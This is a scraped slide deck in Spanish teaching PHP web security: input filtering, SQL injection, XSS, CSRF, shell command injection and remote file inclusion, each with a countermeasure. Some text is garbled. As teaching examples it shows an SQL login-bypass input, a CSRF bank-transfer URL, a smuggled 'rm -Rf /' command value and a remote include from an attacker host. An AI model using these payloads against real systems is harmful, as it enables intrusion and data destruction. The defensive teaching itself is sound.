If you can't read please download the document
Upload
carlos-campderros
View
3.974
Download
0
Embed Size (px)
Citation preview
2. PHP
3. Algo tan simple como ya es una vulnerabilidad en una pgina web
4. PHP
5. "Filter your input, Escape your output" Adems de stas hay otras a tener en cuenta, pero sin duda stas son las ms importantes 6. PHP
7. El usuario puede modificar fcilmente el id de producto a visualizar, y poner, en vez de un nmero, cualquier otra cosa 8. Asegurarse que $_GET['id'] es un nmero!!! 9. PHP
10. En el formulario que aparece aqu al lado, un usuario tambin puede modificar el valor del mes
11. O usando plugins para el navegador 12. 10 minutos de ejercicio! 13. PHP
14. Datos que puede modificar el usuario:
* Algunos campos nicamente 15. PHP
16. Cada vez que enviamos datos a un medio, hemos de evitar que caracteres especiales para ese medio que puedan existir en los datos que enviamos se interpreten como tales:
17. , &, ', " en html 18. ', ", $, ;, ` al ejecutar comandos en la terminal 19. PHP
20. $sql = "SELECT * FROM usuarios WHERE username='{$_POST['username']}' AND password='{$_POST['password']}'"; 21. Si nos envan usuario 'pepe' y contrasea 'patata' 22. $sql = "SELECT * FROM usuarios WHERE username='pepe' AND password='patata'; 23. Sin peligro! 24. PHP
25. Query generado: $sql = "SELECT * FROM usuarios WHERE username='' OR id=1 --' AND password='blabla'" 26. A partir de -- es comentario 27. El atacante podra autenticarse como cualquier usuario! 28. PHP
29. Login sin usuario / contrasea 30. Obtener registros de la base de datos (datos bancarios, personales, passwords...) 31. Eliminar registros o tablas de la BD 32. PHP
33. Manera: Usar mtodos especficos del driver de la base de datos:
34. $pdo->quote($variable) 35. Si no hay mtodo disponible, addslashes($var) Manera 2: Prepared Statements 36. PHP
37. El usuario puede escribir html que se interpretar como tal 38. Posibilidades enormes para un atacante, la ms habitual insertar un o 43. Usa un redireccionador tipo tinyurl para el ataque anterior 44. PHP
45. htmlspecialchars($texto_usuario); 46. PHP
47. ejemplo
48. En otra ventana del navegador, visita http://malos.com/, donde hay este cdigo: 49. Esto provoca que el navegador del usuario lance una peticin a mipagina.com/logout.php, que parece legtima, y desloguea al usuario 50. PHP
51. El caso del logout es ms o menos inofensivo, aunque molesto 52. lacaixa.com/traspasar_fondos.php?from=mi_cuenta&to=cuenta_atacante&cantidad=10000
53. PHP
54. Uso de tokens nicos entre peticiones
55. En la siguiente peticin que haya, comprobar la existencia de dicho token (que se habr enviado en la url o mediante un input hidden) 56. Si existe y es el mismo que el de la sesin, todo correcto: procesamos la peticin 57. Si no existe o es diferente: posible ataque. No hacemos nada 58. PHP
Es un ataque indiscriminado, aunque con pocas posibilidades de xito excepto a sitios de primera lnea
60. PHP
61. El cdigo de listar.php incluye: $comando = "ls ".$_GET['carpeta']; echo exec($comando); 62. PHP
63. La instruccin a ejecutar quedara como: ls imagenes; rm -Rf / 64. 2 comandos! listar el contenido de la carpeta imgenes... y luego borrar todos los archivos del disco duro! 65. Evitarlo usando escapeshellcmd() y escapeshellarg() 66. PHP
67. Internamente, index.php realiza una cosa similar arequire_once($_GET['pagina'].'.php'); 68. Qu pasa si un atacante accede a index.php?pagina=http://malos.com/script 69. Bingo... la hemos jodido! 70. PHP
71. Para evitarlo (i):
72. Poner un ./ al inicio del require (de esta forma se intentara incluir './http://malos.com/script.php', y fallara 73. PHP
74. PHP
Robo sesiones 75. Usuario root bd